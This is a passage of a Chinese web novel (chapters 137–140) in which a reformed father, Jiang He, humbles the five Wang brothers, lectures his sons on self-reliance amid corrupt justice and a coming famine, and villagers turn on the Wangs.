看到眼前这五位舅爷,竟然真的当众朝着他们鞠躬道歉,表现得这般卑微与低声下气,江天、**与江源全都感觉有些飘飘然,有一种似在做梦的感觉。
谁能想到,这五个平常高高在上,从来都不把他们兄弟姊妹几人当人看,对他们非打即骂,穷尽羞辱欺凌之能的王大虎、王二虎几人。
竟然也有这么一天,会在他们的面前低下不可一世的高傲头颅,向他们诚心道歉,并请求他们的原谅?
这种感觉,是他们以前从来都没有体会过的。
不得不说,实在是……太爽了!
江源年纪最小,也最藏不住心思,嘴角不自觉的完全咧开,差点儿就要笑出声来。
**也是眼睛发亮,胸膛挺得老高,激动得脸都有些红了。
就连一向沉稳的江天,此刻也忍不住握紧了拳头,一股扬眉吐气的热流在胸中激荡。
他们不约而同地转头,看向了站在他们身侧、如同定海神针一般的老爹。
他们心里很清楚,这一切的改变,都源于他们的老爹。
若不是老爹为他们出头,直接将王家五虎给彻底打服,今天这事肯定不会以这样的方式来结束。
而现在需要这样卑躬屈膝、低头道歉认错的人,也绝对不会是王大虎、王二虎他们。
可以毫不客气的说,正是因为有了老爹的帮衬与庇护,他们才会有机会可以这般扬眉吐气的接受王家五虎的低头道歉。
是老爹给了他们能在老王家人,还有全村人的面前,抬起头、挺起胸膛的机会!
江河面无表情地看着这一幕,心中并无太多波澜。
王家兄弟的道歉,对他而言不过是走个过场,是他们必须付出的代价。
他更在意的,是这件事对三个儿子,甚至对整个家庭成员的心理影响。
因为原身那个渣爹的缘故,家里的这几个孩子,全都被老宅,被王家这帮人给欺辱惯了也欺负惨了。
几个儿子、女儿,甚至包括下面的孙子、孙女,全都有不同程度的自卑、懦弱甚至低人一等的奴性心理。
江河现在要做的,就是重新让这些孩子挺起脊梁,重拾自信。
别再像以前那样唯唯诺诺,低声下气,看别人的脸色过活。
之前他替**出头,暴揍欺负他的王铲、王能是为了这些。
几日前他带着**半夜去敲赵神婆的闷棍,也是为了这些。
现在,他当着三个孩子的面,痛扁王家五虎,逼着王家五兄弟低头躬身向三个孩子道歉认错,更是为了这些。
此刻。
看到三个儿子眼中那难以掩饰的激动、兴奋,还有那逐渐挺直的脊梁,江河心中暗自点头。
他要的就是这个效果。
通过一次次的胜利,一次次的扬眉吐气,一次次的将曾经那些欺负过他们的人一一踩在脚下。
才能慢慢洗刷掉原身留给这个家庭的**烙印,才能让这些已经留下心理阴影的孩子们重拾自信!
“好了,既然你们已经诚心道歉,我江河也不是得理不饶人的人。”
江河缓缓开口,声音平静却带着几分不容置疑的份量:
“今日之事,就此了结。希望你们能记住今天的教训,以后莫要再来招惹我们。”
“否则,下一次,你们就不会只是受这么一点儿轻伤了。”
王大虎几人闻言,身子不由同时一个激灵。
他们都伤成这样了,在江河的口中竟然还只是轻伤?
如果断腿断胳膊断肋骨都算是轻伤的话,那所谓的重伤岂不是要直接取了他们半条性命?
他们知道江河这是在故意威胁他们,可是现在形势比人强,就算是心中有气,他们也得忍着受着。
谁让他们五个加起来,也打不过江河一个呢?
现在有里正与老族长,还有近半个庄子的人在围着看着,江河不敢真把他们怎么样。
可暗地里呢?
江河以前是什么人,他们可是心知肚明,背地里下钩子,敲人闷棍的事情他可没少干。
王大虎他们也怕把江河给惹急了,人会在背地里套他们麻袋,敲他们闷棍。
就江河如今的战力水平,他们五兄弟有一个算一个,谁能受得了?
所以现在,他们只想要赶快把这件事情给解决掉,后面别再整出什么幺蛾子来。
“你放心,我们爷们儿一口唾沫一颗钉,既然已经签了和解文书,就一定会严格遵守。”
王大虎强忍着右腿还有两腿之间处传来的剧痛,咬着牙,红着眼,紧盯着江河颤声道:
“希望你也能说话算话,事后别再搞什么阴谋诡计。不然的话,我们王家还有十几个儿子在城里,绝对不会轻饶了你!”
说完这些,王大虎冲四个兄弟一挥手,忍着伤处的疼痛和无尽**,相互搀扶依靠着,一瘸一拐地,头也不回地朝着村内走去。
他们的背影,再也没有了往日的横行霸道与趾高气昂,像是一群被打断了腿、吓破了胆的老狗,只剩下了无尽的狼狈和萧索。
可以预见,经此一役,“王家五虎”这个名号,将彻底成为下河村的历史,甚至是一个笑话。
没了热闹可看,围观的人群也渐渐散去。
但每个人在离开时,都会不由自主地多看江河父子几眼。
显然,他们全都**河今日所展露出来的强大与狠辣给震慑住了。
连村子里最能打的王家五虎,都成了江河的手下败将,一个个的全都**河给打残了,其他人就更不用说了。
以后谁若是再敢欺负江河或是江河家的那几个小崽子,怕是都要好好的掂量掂量了。
“今日之事,多谢族长、里正主持公道,江河感激不尽!”
待人群散去,江河
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很是礼貌的拱手向王冶山及王德顺道谢。
哪怕这两个老油条一直都在和稀泥,都在明里暗里偏向王家五虎,但是表面上的和气暂时还不能丢。
他们一家老小想要在下河村继续生活下去,还离不开王德顺与王冶山的照拂,所以该给的面子还是得给。
王德顺深深看了江河一眼,欲言又止,最终只是摆了摆手,轻叹道:
“罢了,你好自为之吧。以后在村子里少惹点儿事比什么都好!”
说完,便拄着拐杖,转身离去,清瘦的背影在夕阳下显得有些萧索。
今天这事,已然让这位老族长深切的感觉到,如今的江河,已经不是以前那个四肢发达,头脑简单,可以任由他们忽悠甚至支配的寻常角色了。
就他刚刚暴揍王家五虎时所展现出来的强大战力,以后在下河村,还有谁能奈何得了他?
王德顺虽然贵为族长,可他也怕会**河在暗地里敲闷棍啊。
所以,他现在也不愿太过得罪江河,有些重话能不说便不再说了。
好在,江河要比王大虎、王二虎几兄弟会做人。
哪怕已经看出他与王冶山是在和稀泥,是在暗中袒护王家五兄弟,面子上也没有丝毫失礼与逾越。
反倒是被他们袒护偏向的王家五虎,刚刚走的时候甚至连声招呼都不跟他们打,就那样直接冷脸离开了。
真是……一番好意全都喂了狗!
王大虎他们五兄弟,真是白活了几十年,无论是眼力还是心机,都比江河这个小辈,差了不知几百里远!
以后他们若是再不识好歹的主动招惹江河,最后怕是连**的都不会知道!
“江河,今日这件事情,错不在你,是王大虎他们自己找揍,我也就不再多说什么。”
“但是明日,江十二与王三妮他们要从县里回来,我希望你能尽量克制一下自己的脾气,千万别再惹事了……”
王冶山神色复杂地看了江河一眼,郑重地交代了这么两句话后,也跟着老族长走了。
“爹,里正公他是什么意思?爷奶他们不是被关到县大狱去了吗,怎么明天就要回来了?”
看到王冶山与王德顺全都走远,**终于忍不住开口向江河问道。
江天与江源也同时竖起了耳朵,显是对这个问题极为关心在意。
江河回头瞥了仨儿子一眼,淡声道:“赵神婆拐卖孩子的案子已经结了。”
“赵神婆畏罪**,江十二、江洋还有王三妮他们,被判了无罪释放,明天应该就要从县里回来了。”
“什么?!无罪释放?!”
三兄弟同时惊呼出声,脸上全都露出了难以置信和愤慨的表情。
“凭什么啊?!”
**最是激动,失声高呼道:
“明明就是他们伙同赵神婆一起拐卖了孩子,还想要把脏水泼在爹的身上,污蔑爹是邪祟,想要置爹于死地,简直全都坏到家了,怎么能判他们无罪释放呢?”
“就是!县里的那些官老爷难道全都是睁眼瞎吗?”
“这么证据确凿、人赃并获的案子,他们竟也能判错,还有没有王法,还有没有天理了?!”
第137章 江河的私人授课
“这世上,除了死亡之外,又有什么事情是绝对公平的?”
江河的声音低沉,带着一种看透世事的沧桑。
他抬头轻扫了一眼面前的三个儿子,见他们皆是一副义愤填膺、激动不平的样子,不由微微摇头道:
“所谓的天道公理,归根结底,还是要由具体的人来裁决、评判。而只要是人,那就免不了会有私心。”
“县衙里的那些官老爷,还有更上层的那些贵人们,就是掌握着咱们这些平头百姓天道公理的人。”
“只是,他们看到的、听到的‘真相’,未必就是事实。他们判定的‘对错’,也未必就是公道。”
“赵神婆一死,相关案件的很多线索就直接断了,县里的官老爷没有了再继续深究下去的意思。”
“而江贤、江达二人,在县里进学多年,又是秀才、童生出身,结交了不少人脉。”
“江十二、王三妮他们之所以会被判定无罪,不是案情不明,也不是罪证不清,而是他们的这两个好孙子、好儿子,在背地里使了些银子,疏通了关系。”
“这才让原本清晰的案子变得模糊,让所谓的铁证变得不再那么铁了。”
“你们三个给老子记住了,这世上的事,并非是非黑即白,非对即错。这天下间的公平道理,甚至朝廷律法制度,在某些时候,也无外乎就是一场人情往来罢了。”
“想要不被欺负,不沦为被人踩在脚下的垫脚石、陪葬品,唯有自强不息,努力让自己变成那个可以执掌公平道理,甚至可以无视任何规则的人!”
江河的声音不大,却字字如洪钟大吕,重重敲响在三个儿子的心头。
江天、**、江源脸上的愤慨之色渐渐褪去,取而代之的是一种深沉的思索和一丝淡淡的明悟。
这一刻,他们眼中的老爹仿佛周身都在发光!
老爹这般循循善诱、剖析世情的悉心教导,听在他们耳中如露入心,亦如醍醐灌顶,令他们茅塞顿开。
让他们第一次如此清晰明了地体悟到,这种他们以前从来都没有深思细想过的、关于世道与人心的深刻道理。
“爹,您的意思是……”江源若有所思道:“我们不能指望着别人来替我们主持公道,更不能把自己的命运交到那些有私心的官老爷手中。”
“我们得自己变强,强到让别人不敢再不公平地对待我们?”
“不错。”
江河赞许地看了这个小老四一眼,没想到三兄弟当中,反而是这个年纪最小的江源,是第一个明白其中道理的人。
“就像今天,如果我们还是像以前那样软弱可欺,处处退让,王家五虎会给我们道歉吗?里正和老族长会做出对咱们父子而言,相对公平正义的调解吗?”
“绝对不会!”
**抢着开口回答,语气之中带着一丝愤恨与不容置疑,仿佛是想到了自己以前的那些悲惨遭遇,恨声道:
“老族长和里正公只会和稀泥,只会偏向实力更强,态度更强硬、更会胡搅蛮缠的舅爷他们,根本就不会在乎我们是否吃亏,是否受了委屈。”
“他们若是真能做到公平公正的对待每一位村民,处理每一件村内的邻里**,三年前娘被王三妮给逼死的时候,他们就不会一直装聋作哑,不站出来说半句公道话了!”
“他们在乎的,从来都只是村子里表面的平和。
只要没有人**,没人给他们找麻烦,他们就会多一事不如少一事的装聋作哑,才不会管究竟是谁受了委屈与欺负。”
“对!”
听到老三提起三年前的事情,江天也不由用力的握紧了双拳,沉声道:
“这世间的道理,从来都是讲给拳头硬的人听的!自己没本事,再有理也是白搭!”
“三年前,若是我们也能像是今天这样奋力反击,拼了命的维护娘亲,也许娘就不会……”
江河有些尴尬的揉了揉鼻子。
好端端的,这仨孩子怎么就想到了三年前,想到了他们的娘亲呢?
三年前原身媳妇王娟,被王三妮逼到自缢身亡,原身这狗东西在其中扮演的角色可是也不怎么光彩。
王德顺与王冶山只是装聋作哑、和稀泥,就被这仨孩子如此记恨,那他这个在事后还说他们娘亲不孝的渣爹,岂不是都要被拉出来鞭尸了?
江河现在顶着原身的这副皮囊与身份,听到儿子们提起这段往事,哪怕没有在刻意针对他,他也感觉到尴尬的不行,忍不住又在心里暗骂了原身几句。
不过有一说一,这三个儿子能够有如此明悟,说明他们已经开始开窍了。
这种思想层次上的明悟与转变,远要比单纯武力上的胜利更加重要。
“所以说,你们不要因为江十二、王三妮他们被无罪释放就灰心丧气,就怨天尤人,甚至觉得天道不公,苍天无眼。”
江河趁热打铁,继续引导道:
“这恰恰说明了,靠山山会倒,靠人人会跑,唯有靠自己,才是最实在的。”
“他们能用银子疏通关系,能用秀才、童生身份结交人脉,那是他们的本事,也是眼下这个世道的运行规则之一。”
“我们暂时没太多钱,也没有功名在身,但我们有拳
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头,有脑子,有不怕事的胆气!”
“今天,我们用拳头打破了王家五虎的威风,让他们低头道歉,赔钱服软。这就是我们在用自己的方式,在村子里建立起来的公平和道理!”
“王德顺和王冶山就算是想要偏帮王大虎他们,在绝对的实力和切实的道理面前,也是有心无力,只能眼睁睁地看着王大虎五兄弟又是赔钱又是赔礼,不敢再多逼逼半句!”
说到这里,江河抬头看了三个儿子一眼,继续说道:
“明天,江十二、王三妮他们就要回来了。”
“这一次,他们在咱们家门前吃了那么大的亏,遭了那么多的罪,必然不会善罢甘休。”
“现在你们来跟我说说,若是你们再碰到老宅那帮人,你们该怎么应对?”
江河目光炯炯地看着三个儿子,出声考较。
“当然是直接打回去!我早就看他们不顺眼了,早就想要给我娘报仇了!”
**不假思索地挥了挥拳头,一副跃跃欲试之态。
这小子,连着打了两次架后,胆气似乎一下子就变得充足了起来,甚至还隐隐有了几分暴力倾向。
“不能蛮干。”江天摇头道:“再怎么说,他们也算是咱们的长辈,如果他们不主动来招惹我们,我们绝对不能先动手。”
“但是,他们要是还敢像以前那样欺负上门来找咱们的麻烦,或是在背地里耍什么阴招,那我们就可以顺势反击,像爹今天暴揍王家五虎一样,让他们吃不了兜着走!”
“对,最好还要让全村的人都看到,是他们先不讲理,先来欺负咱们的!”
江源补充道:“要让外人知道,我们只是被迫还击,是不得已才出手的,要让老族长和里正公他们,也挑不出咱们半点儿理来!”
“嗯,老四说得对,咱们家毕竟是外姓,就算是要彰显武力,也绝对不能犯了众怒,不能让老族长和里正公找到驱逐咱们的理由……”
诶,这就有点儿对味儿了!
见这仨儿子你一言我一语的讨论着接下来该怎么应对老宅一家,而不再似以前那样,一提到老宅就畏畏缩缩,不敢有半点儿反抗的念头。
在江河看来,这种从无到有的反抗意识,才是他今天要教给这仨儿子最重要的东西。
以后他只需要再言传身教的引导着他们,学会如何在反抗暴力或是强权的同时,确保自身的安全。
如何让自己时刻站在道德的最高点,去审判自己的敌人与对手,去维护自己正当权利和利益。
如此一来,要不了多久,这仨小子应该就能独当一面了。
第138章 粮荒将至,乱世将临
父子三人边说边往家走,刚到半路就遇到了闻讯赶来的江槐与孙芳两人。
“爹,你们没事儿吧?”
“我听说是舅爷他们回来了,还在村口堵住了二弟、三弟、四弟他们,是真的吗?”
隔着老远,就听二人语气关切的出声询问。
待走到近前,看到江天、**还有江源身上、脸上的伤势后,二人不由哎哟一声,心疼的眼泪都快流出来了。
“天杀的王大虎、王二虎几个混账东西,他们怎么敢下这么狠的手啊?”
“咱们两家不是已经断亲了吗,他们凭什么还敢这么打你们?”
“老二、老三、老四,你们疼不疼,要不咱现在就去贾郎中那里看看吧?”
见大姐哭红了眼,二嫂也拉着二哥的衣袖不断抹眼泪。
**与江源连忙摆手劝慰道:
“大姐,二嫂,我们没事儿,用不着去看郎中。”
“真的,应该去看郎中的是王大虎他们,你们都不知道,咱爹现在有多厉害,随便一出手,就把王大虎他们全都给打趴下了!”
“就是,我们这次根本就没吃亏,还让王大虎几个当众跟我们鞠躬道歉了呢……”
江天也在旁边开口安抚着自己的媳妇:
“三弟四弟说得没错,我们也就是在刚开始时挨了几下打,但是爹赶过来之后,王家五虎就全都被爹打趴在了地上,现在连走路都费劲。”
“非但如此,爹还让王家五虎赔了我们三贯钱呢,算下来我们非但没吃亏,反而还大赚了一笔呢……”
见三人说得这般轻松,且看上去似乎真的没有什么大碍,江槐与孙芳这才稍稍安下心来。
只是,对于江天三人所说的这些话,孙芳心中是有些不太相信的。
王家五虎是什么人,她可太清楚了,不但生得人高马大,且个个都脾气暴躁,经常跟人打架斗狠。
他们五兄弟凑在一起,整个下河村都没有多少人敢去招惹他们。
公爹就算是再厉害,也不可能在一对五的情况下,把王家五虎给打趴下,更不可能逼着王家五虎低头服软,反过来给江天、**与江源这三个孙辈鞠躬道歉?
在她看来,这些话多半是江天、**与江源为了公爹的面子而说出来的大话,是在吹牛逼而已。
而江槐却是不同。
昨天在柳树村,她可是亲眼看到老爹是如何教训赵家那帮想要吃他们家绝户的狗东西的。
对于老爹的战斗力,她早就已经有了最直观的认识。
所以现在听说老爹一人独战王家五虎,还把王家五虎给打得满地找牙,逼着他们给三个弟弟道歉赔钱,江槐自是深信不疑。
再看向老爹时,她的眼中都冒起了小星星,对现在的老爹崇拜不已。
打架斗殴什么的她虽然不喜欢,但如果是为了保护自己和家人而出手,那意义就完全不同了。
相比于以前那个只知道在外面争勇斗狠,却对他们兄妹不闻不问、不管不顾的渣爹,她当然还是更喜欢现在这个为了守护子女家人,而对外人肆意挥拳的老爹。
“行了,有什么话咱们回家再说。”
江河这时也适时开口说了一句,止住了兄妹几人的叙话,然后率先抬步朝着前走去。
江槐、孙芳、江天几人见状,连忙快步跟上。
“你们大嫂,还有老三媳妇去哪了,怎么没跟你们一起?”
走了没几步后,江河随口向江槐与孙芳问了一句。
江槐紧走两步凑到近前,轻声开口回道:
“大嫂和三弟妹都回娘家去了,说是想去她们娘家那边看看,能不能再收些粮食回来。”
“爹,你都不知道,现在各家各户的粮食都不富余,我们在村子里连着跑了十几家,竟连一粒粮食也没有收到。”
“是啊,爹,这两年地里的收成不好,乡亲们各家自己的口粮都还不够吃,根本就舍不得拿出来卖。”
孙芳也面露愁容的接声开口说道:
“别的庄子不知道是啥情况,但是咱们下河村怕是很难能收得到粮食了。”
江天闻言,也面色沉郁的开口说道:
“别的庄子里也差不多都是这个状况,我和老三、老四在附近的村子里转悠了一个下午,总共也就才收回来七八十斤的粮食而已。”
“爹,下面各村缺粮的情况,远比咱们之前预想中的还要严重得多。”
“等到下面的这些村民们,把家
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中的口粮全都吃完之后,却发现哪怕是到县城也再买不来多余的粮食时,真正的粮荒怕是就要来了!”
江河的脚步微不可察地顿了一下,不过随即就又恢复如常。
江槐、孙芳还有江天他们所说的这些话,全都准确无误的印证了他之前的判断。
粮荒的出现,已经不是有可能,而是正在一步步逼近的现实。
等到各村各户家中的余粮耗尽之时,就是**开始之日。
底层的这些庄稼汉,为了能够活命,为了能让家人填饱肚子,怕是什么事情都能做得出来。
若是朝廷能够及时调粮赈灾,情况或许还不会演变得太糟糕。
可是,就江河这几日在县城内所见所闻,他只看到了粮价飞涨,看到了官府与粮商相互勾结、囤货居奇,那些高高在上的贵人们,都在盼着粮价能够涨得更高。
这种情况下,他们怎么可能会主动开仓放粮,或是调剂粮价,给底层的百姓们留一条活路?
不出意外的话,三河县辖下最底层的这些村庄,怕是马上就要乱起来了。
那些如原身一样整日不事劳作,家里一穷二白的地痞、二流子,肯定是第一批因为买不来足够的粮食,而开始在附近的村庄里四处行凶抢掠的灾民。
这个时候再让江天、河泽与江源出去收粮,难免会被这些人给盯上。
“嗯,我知道了。”江河的声音依旧平稳,“明天开始,你们三个暂时都不要再去收粮了。”
“为什么,爹?”**不解,“咱们家的粮食已经不多了,若是不去收些回来备着,咱家怕是连这个年关咱们都过不了啊!”
“哪那么多废话!”
江河回头瞪了**一眼,厉声道:
“老子说什么你们只管照着做就是了!有老子在,怎么着也不会让你们饿着肚子!”
见老爹发火,**身子一颤,瞬间闭嘴。
旁边的几人也是一样,瞬时噤若寒蝉,不敢再多说一句。
老爹现在虽然比以前变得和蔼可亲了不少,也不再动辄打骂他们。
但是,爹毕竟是爹,一旦他板起脸、发起火来,还是免不了会让他们几个打心眼儿里感到一阵的胆战心惊。
第139章 掌掴王二虎!
王大虎、王二虎五兄弟,刚从贾郎中那里看完伤回来,家门口就呼呼啦啦的围上来了一大群人。
为首的正是王老四还有王小顺。
他们各自领着自家的叔伯兄弟,加起来足有三十几口子人。
每个人手里都拿着自家里的铁锹、扁担、锄头等器具,面色不善的直视着王家五虎。
“你们……你们这是要做什么?!”
王大虎心头一颤,明知故问的开口向王老四、王小顺等人询问。
他们的小妹、小妹夫前几天在村里做的那些腌臜事,他们全都心知肚明。
事实上,他们这次提前回来,就是为了替他们小妹一家摆平这件事情。
只是没想到,他们才刚到村口,都还没来得及去拜会里正与老族长,去王老四及王小顺家探探口风,就倒霉催的**河那个小兔崽子给打成了残废。
现在可好。
人家苦主直接寻上门来了,他们五兄弟伤的伤、残的残,再没有了半分往日的威风。
面对着王老四和王小顺两家三十几口青壮气势汹汹地围堵,他们只觉得一阵胆战心惊,额前的冷汗一层一层的往外冒。
若是放在以前,他们五兄弟身强力壮,凶名在外,就算对方人多,他们也敢提着棍子硬顶上去,就算打不过,也能让对方忌惮三分。
可现在呢?
王大虎右腿断了,拄着临时找来的木棍勉强站立,只一会儿就疼得浑身颤抖、冷汗直冒。
王三虎右肩碎了,吊着一条胳膊,脸色惨白无血。
王四虎和王五虎肋骨断了,说话都不敢大声喘气,更别说是继续打架了。
王二虎虽然受伤最轻,可也断了一只手腕,战斗力直接消减了五成。
他们五个伤员,其中有四个站都站不稳,别说是打架了,就算是想跑都跑不掉!
这一刻,他们心里对江河的恨意直接就达到了前所未有的顶峰。
若不是江河那小崽子下手太黑太狠,把他们这几个亲娘舅全都打成了这副鬼样子。
王老四与王小顺他们,怎么敢这般轻易上门来找他们的麻烦?
现在他们甚至都在怀疑,江河那小鳖崽子刚刚就是故意把他们打伤打残,好方便王老四、王小顺两家来寻他们的晦气!
“做什么?!”
王老四双目通红,声音嘶哑,死死盯着王大虎,厉声道:
“王大虎,你少在这里跟老子装糊涂!你妹子王三妮和你妹夫江十二前两天在村子里干的好事,你会不知道?!”
“**偿命,欠债还钱!王大虎,你妹妹王三妮一家做的那些缺德事,就算是死上十次都不为过!”
王小顺也上前一步,恶狠狠的直盯着王大虎兄弟几人,恨声道:
“老子才不管县老爷是怎么审的案子,老子只知道,他们动了老子的女儿,这事儿永远都不算完!”
“别以为老子不知道你们兄弟五个这次回来是为了什么!”
“我明白告诉你们,江十二他们一家几口明天要是不回来也就罢了,他们若是敢进村,老子不打断他们的两条腿,不扇烂他们的那几张逼脸,老子就不是站着撒尿的爷们儿!”
王小顺的话音刚落,他身后那些手持农具的族人们就群情激愤地跟着叫喊了起来:
“对!绝对不放过他们!”
“一帮连孩子都想拐卖的畜牲,我们下河村可容不下他们!”
“**偿命,欠债还钱!”
“就算他们有本事买通了县里的官老爷,村里的这一关他们也过不去!”
“……”
三十多号青壮齐声呼喝,声势震天,吓得王家五兄弟瞬时面无人色,连连后退,差点一头栽倒在地上。
王大虎强忍着腿上传来的剧痛,冷汗已然浸透了后背的衣衫。
他知道,今天要是给不出个说法,这关怕是过不去了。
眼前这些人明显已经愤怒到了极点,真要是动了手,他们兄弟五个非得被活活打死不可!
“王四郎!小顺贤侄!还有各位叔伯兄弟,你们先冷静,千万要冷静啊!”
王大虎高举着双臂,声嘶力竭地扯着嗓子颤声呼喊道:
“我妹子他们做的那些事,我们确实听说一些,但具体的情况是怎样的我们也不是很清楚啊!”
“况且,你们也说了,他们明天才会回来,你们现在围着我们兄弟几个又有什么用,你们就算是逼死我们,我们也没办法直接把人给你们变出来啊!”
王二虎也连忙在旁边帮腔道:“是啊,各位叔伯兄弟,老少爷们儿们,冤有头债有主,你们就算要报仇,也该去找正主才对啊!”
“我们兄弟几个虽然跟**家有些关系,但也只是外戚,他们犯下的错,怎么也不应该算到我们的头上吧?”
“你们真要是想找人出气的话,那你们也应该去找江河那个小崽子啊!
他才是江十二的亲儿子,所谓父债子偿,你们去找江河,怎么也要比找我们这些外戚有用啊……”
王二虎想要祸水东引,把眼前这些人的愤怒和仇怨,全都引到江河的身上去。
只是他的话还没有说完,就被站在他对面的王小顺直接吐了一口唾沫在脸上。
“放**狗臭屁!”
王小顺怒目圆睁,指着王二虎的鼻子破口大骂道:
“整个下河村,谁不知道你们王家五虎跟王三妮兄妹情深,两家好得就跟穿了一条裤子似的?
她这些年之所以敢在村子里这么胡搅蛮缠、撒泼耍赖,不就是仗着你们这几个当哥的给她撑腰吗?!”
“还有,江河大哥早就已经跟江
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家老宅断了亲,你少把这件事情往江河大哥身上攀扯!”
“之前若不是因为江河大哥的一句话,我家女儿和王四哥家的儿子,说不得直到现在都还在赵神婆家的地窖里绑着呢!”
“江河大哥是我们家的救命恩人,以后若是再让我听到你说他的坏话,看老子不直接撕烂你的臭嘴!”
啪!
王小顺的话音还没落,王老四就一个巴掌直接呼在了王二虎的嘴上,同时淡声说道:
“小顺兄弟,你就多余跟他说这么多废话!”
“这狗东西敢挑拨咱们与江河兄弟之间的关系,明显就没安好心。对待这样黑心肝的东西,直接大嘴巴子抽他就完了!”
王老四的话间刚落,他身后的一众族人便同时跟着点头附和道:
“对对对,老四这话说得不错!”
“江河可是咱们家豆娃儿的救命恩人,谁敢说他的坏话,那就是在跟咱们整个老王家过不去,就得大嘴巴子抽死他!”
听到王老四那边的族人这般起哄,王小顺身后的族人似乎也受到了刺激,纷纷开口向王小顺怂恿道:
“小顺子,你王四哥都已经出手了,咱家爷们儿也不能差事儿啊!”
“你要还是个爷们儿的话,现在就出手扇王二虎两个大嘴巴,给你江河大哥讨个公道!”
王小顺年轻气盛,且本来就有这个意思。
现在被身后的族人这么一激,几乎没有任何犹豫的,直接就左右开弓,也狠狠的在王二虎的脸上扇了两个大嘴巴。
唔?!
王二虎直接就被打懵了。
他抬手捂着自己被打肿的嘴巴和脸颊,满眼的意外与茫然。
似根本就没想到,王老四与王小顺竟然会为了维护江河那个白眼狼、不孝子,而直接出手狂扇了他三个大嘴巴!
还有,王老四与王小顺身后的那些叔伯兄弟们,在提到江河的时候,竟然也是一脸的钦佩与感恩,容不得别人在他们跟前说江河一句坏话。
这特么——
什么时候江河那个**崽子在下河村的名声竟然变得这么顶了?!
以前大家不是都很厌恶他,看到他就跟看到了臭屎堆上的苍蝇一样,远远的躲着、避着走吗?
怎么现在,他们才离开下河村不到一个月的工夫,江河那小崽子就成王老四与王小顺这些人眼中的“大哥”与“救命恩人”了?
旁边,王大虎、王三虎兄弟几人也是一脸懵逼。
完全不能理解他们现在所看到的一切。
特么,眼前这些人,全都疯了不成?
江河不过是个外姓人,而且还是个不学无术、人憎狗厌的二流子。
这些人怎么一个个的就跟中了邪一样,对他如此的维护与拥戴?
这特娘的……不合常理啊!
第140章 莫要再小瞧了江河
“什么?王老四与王小顺带着他们本家的族人去王大虎家了?”
“打起来没有?”
“已经打起来了?那你还来跟老夫说个什?这事儿老夫管不了,让他们去找老族长去!”
“这一天天的,真是没完没了了!”
“什么?已经去找过老族长了?老族长也不想管,还把事儿推到我这里来了?”
“我……”
里正王冶山家,听到前来找他报信的本家侄子王有志的话,王冶山不由一阵气急。
连德高望重的老族长都不想管王大虎家的闲事了,他就更不想管了。
这次带头**的可不是江河那个在村子里没什么根底的外姓人。
王老四与王小顺不但是他们王氏宗族本家,更是赵神婆案的直接受害者。
他们现在聚众去寻王大虎家的麻烦,显然是也听到了王三妮一家即将要回村的传言。
这个时候他要是出面去劝阻,那不是在自找没趣吗?
暴怒中的王老四、王小顺那一大帮子人,万一要是不给他这个里正面子该怎么办?
到时候丢脸事小,他在村子里的威望也必然会大打折扣。
所以,现在最好的办法就是不闻不问,只当是什么也不知道。
王家五虎在村子里嚣张了那么久,也是时候让他们吃些教训了。
还有,王老四与王小顺等人因为江十二、王三妮等人被判无罪的事情憋了一肚子的火气,也正好趁机好好发泄一下。
只要不**,不闹出什么大事件来,就随他们怎么折腾去吧。
王冶山直接摆烂躺平了,不想再去掺和王大虎家的烂事。
“四叔,你真不管啊?王大虎他们本来就**河给打成了重伤,这要是再被王老四、王小顺他们给暴揍一顿,万一要是出了人命岂不是就坏了事了?”
王有志见自家四叔竟然也想要撂挑子,不想管王大虎家的这场纷争,不由有些傻眼。
以前碰到这种事情,不管是老族长还是他这个里正四叔,不是全都上赶着往前凑,主动出面调解劝说的吗?
怎么这一次,这两个在村子里最有威望与权势的人,全都选择了袖手旁观,没有半点儿要插手调解的意思?
王冶山闻言,不紧不慢的微微摇头道:
“放心好了,王老四与王小顺是什么秉性老夫清楚得很,他们最多也就是胖揍王家五虎一顿出出气罢了,不敢真往死里揍!”
“说起来,这也是赶了巧了,若不是王大虎他们正好**河给打伤打残了,就王老四与王小顺他们那两家人的成色,可未必敢这样直接打上门去。”
“啧啧,之前如果不是王大虎、王二虎他们主动在村口围堵江河家的那三个小子,这才惹得江河被迫出手还击,老夫都会忍不住怀疑这一切都是江河提前设计好的。”
王有志闻言,不由轻笑道:“四叔,你这就有些太过抬举江河那个二赖子了吧?”
“他不过就是一个没脑子的混不吝,除了有把子力气,打架厉害些,哪里会懂得什么阴谋诡计?”
言语之间,尽是对江河的轻视与嫌弃。
王冶山闻言,不由抬头看了自家侄子一眼,微摇了摇头,轻声提醒道:
“有志啊,你这话要是放在十几天前这样说,那是半点儿毛病也没有,四叔我会这么认为。但是现在……可不好说喽。”
说着,他端起桌上刚泡好的热茶小抿了一口,缓缓道:
“江河以前是混不吝,是个没脑子的蠢货二流子不假,但是最近,自打他被磕到了头,性情大变之后,他做的这几件事——
跟老宅断亲、扇王三妮耳光、从老宅讨回一贯钱的赔偿,以及前日揭露赵神婆与王三妮等人的阴谋诡计,将他们送入县大狱。
还有今天,他为了给三个儿子出头,在村口废了王家五虎……这一桩桩一件件的事情加起来,有哪一件是没脑子的混不吝能做出来的?”
“更重要的是,他做出的这些事情,几乎每次全都占着理,顶着公道大义。
哪怕是我与老族长想要压一压他的气焰,想要偏袒一下咱自家的族人,都有些缩手缩脚,不敢那么明目张胆。”
“而且,每一次,他哪怕是看出了我与老族长的偏袒之意,也会装作不知道,表面上依然对我们恭敬有礼,没有半分逾越之举。”
“你说,这样一个还知隐忍、懂进退,说话做事有理有据,行事分寸还拿捏得恰到好处的一个人,真的会是一个没脑子的混不吝?”
王有志被问得一愣,感觉四叔是不是说得太过夸张了,简直都要把江河给捧上天了。
江源在他固有的印象中,就是一个整天无所事事,满村子转悠的街溜子,哪里会有四叔说得这么优秀?
可是当他静下心来,顺着四叔的提醒,仔细回想了一下江河这几天的所作所为,不由得也微皱起了眉头。
好像……还真是这样!
以前的江河,不管是偷鸡摸狗还是打架斗狠,说话做事,往往都是图一时痛快,莽撞得一批。
每次说错了话,做错了事,不是**家老宅那帮人拿捏,就是被老族长或他这个里正四叔训斥惩戒,吃了亏损了名声不说,偏偏他自己还不觉得怎么样,妥妥的糊涂蛋一个。
而现在,江河明显变得圆滑精明了许多。
不管是说话做事,还是处理发生在他及他们家人身上的意外事件,全都有理有据,再没有吃过半点儿亏受过半分气。
就像是今天,江河不但痛揍了王大虎五兄弟一顿,将他们全都打了一个半残。
结果非但没有赔礼道歉,反而还额外讹了王家五虎三贯钱,同时还逼着王家五虎反过来向江天、**与江源三个小辈鞠躬认错。
这要是放在以前,王有志简直就不敢想象。
“四叔,你说一个人被磕到脑袋之后,真的会有这么大的转变么?”
